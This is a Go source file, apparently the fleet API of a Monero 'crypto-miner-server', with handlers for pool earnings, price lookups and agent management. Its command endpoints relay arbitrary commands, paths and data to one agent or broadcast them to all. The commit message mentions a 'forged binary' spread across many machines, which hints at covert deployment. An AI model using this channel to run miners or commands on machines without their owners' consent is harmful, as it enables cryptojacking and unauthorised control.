Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
480 lines
13 KiB
Go
480 lines
13 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"net/http"
|
|
"strconv"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/alerts"
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/pool"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
// xmrPriceEntry caches the CoinGecko price response to avoid hammering the API.
|
|
type xmrPriceEntry struct {
|
|
USD float64
|
|
fetchedAt time.Time
|
|
}
|
|
|
|
const xmrPriceTTL = 10 * time.Minute
|
|
|
|
type FleetHandler struct {
|
|
db *db.Database
|
|
ws *WSHub
|
|
ai *AIHandler
|
|
pools *pool.Manager
|
|
alerts *alerts.Evaluator
|
|
defaultPool pool.Config
|
|
|
|
// XMR price cache — per-handler so multiple routers in one process stay isolated.
|
|
xmrPriceMu sync.Mutex
|
|
xmrPriceCache *xmrPriceEntry
|
|
|
|
// Real-earnings cache (avoids hammering the pool API)
|
|
earningsMu sync.Mutex
|
|
earningsCache map[string]*poolEarningsCache
|
|
}
|
|
|
|
type poolEarningsCache struct {
|
|
data map[string]interface{}
|
|
fetchedAt time.Time
|
|
}
|
|
|
|
const earningsCacheTTL = 5 * time.Minute
|
|
|
|
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
|
|
return &FleetHandler{
|
|
db: database,
|
|
ws: ws,
|
|
ai: ai,
|
|
pools: pools,
|
|
alerts: evaluator,
|
|
defaultPool: defaultPool,
|
|
}
|
|
}
|
|
|
|
func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
|
|
if f.alerts == nil {
|
|
writeJSON(w, []alerts.AlertEvent{})
|
|
return
|
|
}
|
|
writeJSON(w, f.alerts.ActiveAlerts())
|
|
}
|
|
|
|
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
|
|
if f.pools == nil {
|
|
writeJSON(w, []pool.PoolStatus{})
|
|
return
|
|
}
|
|
writeJSON(w, f.pools.ListStatus())
|
|
}
|
|
|
|
func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
|
|
if f.ai == nil {
|
|
writeJSON(w, []AIActivityEntry{})
|
|
return
|
|
}
|
|
writeJSON(w, f.ai.ActivitySnapshot())
|
|
}
|
|
|
|
// GetXMRPrice returns the current XMR/USD price from CoinGecko, cached for 10 minutes.
|
|
// Falls back to a 503 when the upstream is unreachable so the frontend can degrade gracefully.
|
|
func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
|
|
f.xmrPriceMu.Lock()
|
|
if f.xmrPriceCache != nil && time.Since(f.xmrPriceCache.fetchedAt) < xmrPriceTTL {
|
|
usd := f.xmrPriceCache.USD
|
|
at := f.xmrPriceCache.fetchedAt
|
|
f.xmrPriceMu.Unlock()
|
|
writeJSON(w, map[string]interface{}{
|
|
"usd": usd,
|
|
"fetched_at": at.UTC().Format(time.RFC3339),
|
|
"source": "coingecko",
|
|
})
|
|
return
|
|
}
|
|
f.xmrPriceMu.Unlock()
|
|
|
|
client := &http.Client{Timeout: 8 * time.Second}
|
|
resp, err := client.Get("https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd") //nolint:gosec
|
|
if err != nil {
|
|
http.Error(w, "price fetch failed: "+err.Error(), http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
defer resp.Body.Close()
|
|
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
|
|
|
var raw map[string]map[string]float64
|
|
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
|
|
http.Error(w, "price parse failed", http.StatusBadGateway)
|
|
return
|
|
}
|
|
usd := raw["monero"]["usd"]
|
|
|
|
entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()}
|
|
f.xmrPriceMu.Lock()
|
|
f.xmrPriceCache = entry
|
|
f.xmrPriceMu.Unlock()
|
|
|
|
writeJSON(w, map[string]interface{}{
|
|
"usd": usd,
|
|
"fetched_at": entry.fetchedAt.UTC().Format(time.RFC3339),
|
|
"source": "coingecko",
|
|
})
|
|
}
|
|
|
|
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
|
|
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
|
|
f.GetEarnings(w, r)
|
|
}
|
|
|
|
// GetEarnings returns real pool stats for the configured wallet when the pool
|
|
// is SupportXMR-compatible (REST API available). Falls back to formula estimate.
|
|
func (f *FleetHandler) GetEarnings(w http.ResponseWriter, r *http.Request) {
|
|
hashrate := parseFloatQuery(r, "hashrate", 0)
|
|
estimate := EstimateXMRPerDay(hashrate)
|
|
|
|
// Determine wallet from query param or server config
|
|
wallet := r.URL.Query().Get("wallet")
|
|
if wallet == "" && f.db != nil {
|
|
// Try to read the wallet from the most recent build record
|
|
if builds, err := f.db.ListBuilds(1); err == nil && len(builds) > 0 {
|
|
wallet = builds[0].Wallet
|
|
}
|
|
}
|
|
|
|
if wallet == "" {
|
|
writeJSON(w, estimate)
|
|
return
|
|
}
|
|
|
|
// Try SupportXMR REST API
|
|
real, err := f.fetchPoolEarnings(wallet)
|
|
if err != nil {
|
|
log.Printf("[earnings] pool API error (%s): %v — using estimate", wallet[:min(8, len(wallet))], err)
|
|
writeJSON(w, estimate)
|
|
return
|
|
}
|
|
|
|
// Merge pool data over the estimate
|
|
for k, v := range real {
|
|
estimate[k] = v
|
|
}
|
|
estimate["source"] = "pool_api"
|
|
writeJSON(w, estimate)
|
|
}
|
|
|
|
func (f *FleetHandler) fetchPoolEarnings(wallet string) (map[string]interface{}, error) {
|
|
f.earningsMu.Lock()
|
|
if f.earningsCache == nil {
|
|
f.earningsCache = map[string]*poolEarningsCache{}
|
|
}
|
|
if cached, ok := f.earningsCache[wallet]; ok && time.Since(cached.fetchedAt) < earningsCacheTTL {
|
|
data := cached.data
|
|
f.earningsMu.Unlock()
|
|
return data, nil
|
|
}
|
|
f.earningsMu.Unlock()
|
|
|
|
url := fmt.Sprintf("https://supportxmr.com/api/miner/%s/stats", wallet)
|
|
client := &http.Client{Timeout: 8 * time.Second}
|
|
resp, err := client.Get(url) //nolint:gosec
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer resp.Body.Close()
|
|
if resp.StatusCode != http.StatusOK {
|
|
return nil, fmt.Errorf("pool API returned %s", resp.Status)
|
|
}
|
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 32*1024))
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
var raw map[string]interface{}
|
|
if err := json.Unmarshal(body, &raw); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
// Normalise SupportXMR fields into our API format
|
|
const piconeroPerXMR = 1e12
|
|
result := map[string]interface{}{}
|
|
if v, ok := raw["amtDue"].(float64); ok {
|
|
result["pending_xmr"] = v / piconeroPerXMR
|
|
}
|
|
if v, ok := raw["amtPaid"].(float64); ok {
|
|
result["paid_xmr"] = v / piconeroPerXMR
|
|
}
|
|
if v, ok := raw["totalHashes"].(float64); ok {
|
|
result["total_hashes"] = v
|
|
}
|
|
if v, ok := raw["hashRate"].(float64); ok {
|
|
result["pool_hashrate"] = v
|
|
}
|
|
if v, ok := raw["lastPaymentTs"].(float64); ok && v > 0 {
|
|
result["last_payment_time"] = time.Unix(int64(v), 0).UTC().Format(time.RFC3339)
|
|
}
|
|
if v, ok := raw["lastPayment"].(float64); ok {
|
|
result["last_payment_xmr"] = v / piconeroPerXMR
|
|
}
|
|
|
|
f.earningsMu.Lock()
|
|
f.earningsCache[wallet] = &poolEarningsCache{data: result, fetchedAt: time.Now()}
|
|
f.earningsMu.Unlock()
|
|
|
|
return result, nil
|
|
}
|
|
|
|
func min(a, b int) int {
|
|
if a < b {
|
|
return a
|
|
}
|
|
return b
|
|
}
|
|
|
|
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if f.ws == nil {
|
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
content := f.ws.GetAgentLog(id)
|
|
if r.URL.Query().Get("refresh") == "1" {
|
|
// Fire the get_log command and return immediately — the response arrives
|
|
// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
|
|
// The dashboard will receive the log content via the commandResults queue.
|
|
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"agent_id": id,
|
|
"content": content,
|
|
})
|
|
}
|
|
|
|
type agentCommandRequest struct {
|
|
Action string `json:"action"`
|
|
TailLines int `json:"tail_lines,omitempty"`
|
|
Command string `json:"command,omitempty"`
|
|
Path string `json:"path,omitempty"`
|
|
Data string `json:"data,omitempty"`
|
|
}
|
|
|
|
func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if id == "" {
|
|
http.Error(w, "agent id is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
var req agentCommandRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid command", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Action == "" {
|
|
http.Error(w, "action is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if f.ws == nil {
|
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
args := map[string]interface{}{}
|
|
if req.TailLines > 0 {
|
|
args["tail_lines"] = req.TailLines
|
|
}
|
|
if req.Command != "" {
|
|
args["command"] = req.Command
|
|
}
|
|
if req.Path != "" {
|
|
args["path"] = req.Path
|
|
}
|
|
if req.Data != "" {
|
|
args["data"] = req.Data
|
|
}
|
|
|
|
if id == "all" {
|
|
if f.ws.connectedAgentCount() == 0 {
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": false,
|
|
"error": "no connected agents",
|
|
"agent_id": id,
|
|
"action": req.Action,
|
|
})
|
|
return
|
|
}
|
|
f.ws.BroadcastAgentCommand(req.Action, args)
|
|
} else {
|
|
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": true,
|
|
"agent_id": id,
|
|
"action": req.Action,
|
|
})
|
|
}
|
|
|
|
type agentMetaRequest struct {
|
|
Notes string `json:"notes"`
|
|
Tags []string `json:"tags"`
|
|
}
|
|
|
|
func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if id == "" {
|
|
http.Error(w, "agent id is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
var req agentMetaRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid body", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if _, err := f.db.GetAgent(id); err != nil {
|
|
http.Error(w, "agent not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
agent, _ := f.db.GetAgent(id)
|
|
writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
|
|
}
|
|
|
|
type bulkCommandRequest struct {
|
|
AgentIDs []string `json:"agent_ids"`
|
|
Action string `json:"action"`
|
|
Command string `json:"command,omitempty"`
|
|
}
|
|
|
|
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
|
if f.ws == nil {
|
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
var req bulkCommandRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid body", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Action == "" {
|
|
http.Error(w, "action is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if len(req.AgentIDs) == 0 {
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": false,
|
|
"error": "agent_ids is required",
|
|
})
|
|
return
|
|
}
|
|
|
|
args := map[string]interface{}{}
|
|
if req.Command != "" {
|
|
args["command"] = req.Command
|
|
}
|
|
|
|
sent := 0
|
|
failed := 0
|
|
for _, id := range req.AgentIDs {
|
|
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
|
failed++
|
|
} else {
|
|
sent++
|
|
}
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": sent > 0,
|
|
"sent": sent,
|
|
"failed": failed,
|
|
"action": req.Action,
|
|
})
|
|
}
|
|
|
|
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
|
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
|
|
const networkHashrate = 3_000_000_000.0
|
|
const dailyEmissionXMR = 432.0
|
|
xmr := 0.0
|
|
if hashrate > 0 && networkHashrate > 0 {
|
|
xmr = (hashrate / networkHashrate) * dailyEmissionXMR
|
|
}
|
|
return map[string]interface{}{
|
|
"hashrate": hashrate,
|
|
"xmr_per_day": xmr,
|
|
"usd_per_day": nil,
|
|
"network_hashrate": networkHashrate,
|
|
"note": "Approximate estimate based on ~3 GH/s network hashrate; actual earnings vary with difficulty and pool luck.",
|
|
}
|
|
}
|
|
|
|
// DeleteAgent removes an agent record from the database.
|
|
// If the agent is currently online it is also disconnected (kicked).
|
|
func (f *FleetHandler) DeleteAgent(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if id == "" {
|
|
http.Error(w, "missing agent id", http.StatusBadRequest)
|
|
return
|
|
}
|
|
// Kick live connection first (non-fatal if offline).
|
|
if f.ws != nil {
|
|
_ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})})
|
|
f.ws.RemoveAgent(id)
|
|
}
|
|
if err := f.db.DeleteAgent(id); err != nil {
|
|
http.Error(w, "delete failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
w.Header().Set("Content-Type", "application/json")
|
|
json.NewEncoder(w).Encode(map[string]bool{"success": true})
|
|
}
|
|
|
|
// BulkDeleteAgents deletes multiple agents from the database in one call.
|
|
func (f *FleetHandler) BulkDeleteAgents(w http.ResponseWriter, r *http.Request) {
|
|
var req struct {
|
|
IDs []string `json:"ids"`
|
|
}
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.IDs) == 0 {
|
|
http.Error(w, "ids required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
deleted := 0
|
|
for _, id := range req.IDs {
|
|
if f.ws != nil {
|
|
_ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})})
|
|
f.ws.RemoveAgent(id)
|
|
}
|
|
if err := f.db.DeleteAgent(id); err == nil {
|
|
deleted++
|
|
}
|
|
}
|
|
w.Header().Set("Content-Type", "application/json")
|
|
json.NewEncoder(w).Encode(map[string]interface{}{"success": true, "deleted": deleted})
|
|
}
|
|
|
|
func mustMarshalFleet(v interface{}) json.RawMessage {
|
|
b, _ := json.Marshal(v)
|
|
return b
|
|
}
|
|
|
|
func parseFloatQuery(r *http.Request, key string, def float64) float64 {
|
|
v := r.URL.Query().Get(key)
|
|
if v == "" {
|
|
return def
|
|
}
|
|
f, err := strconv.ParseFloat(v, 64)
|
|
if err != nil {
|
|
return def
|
|
}
|
|
return f
|
|
}
|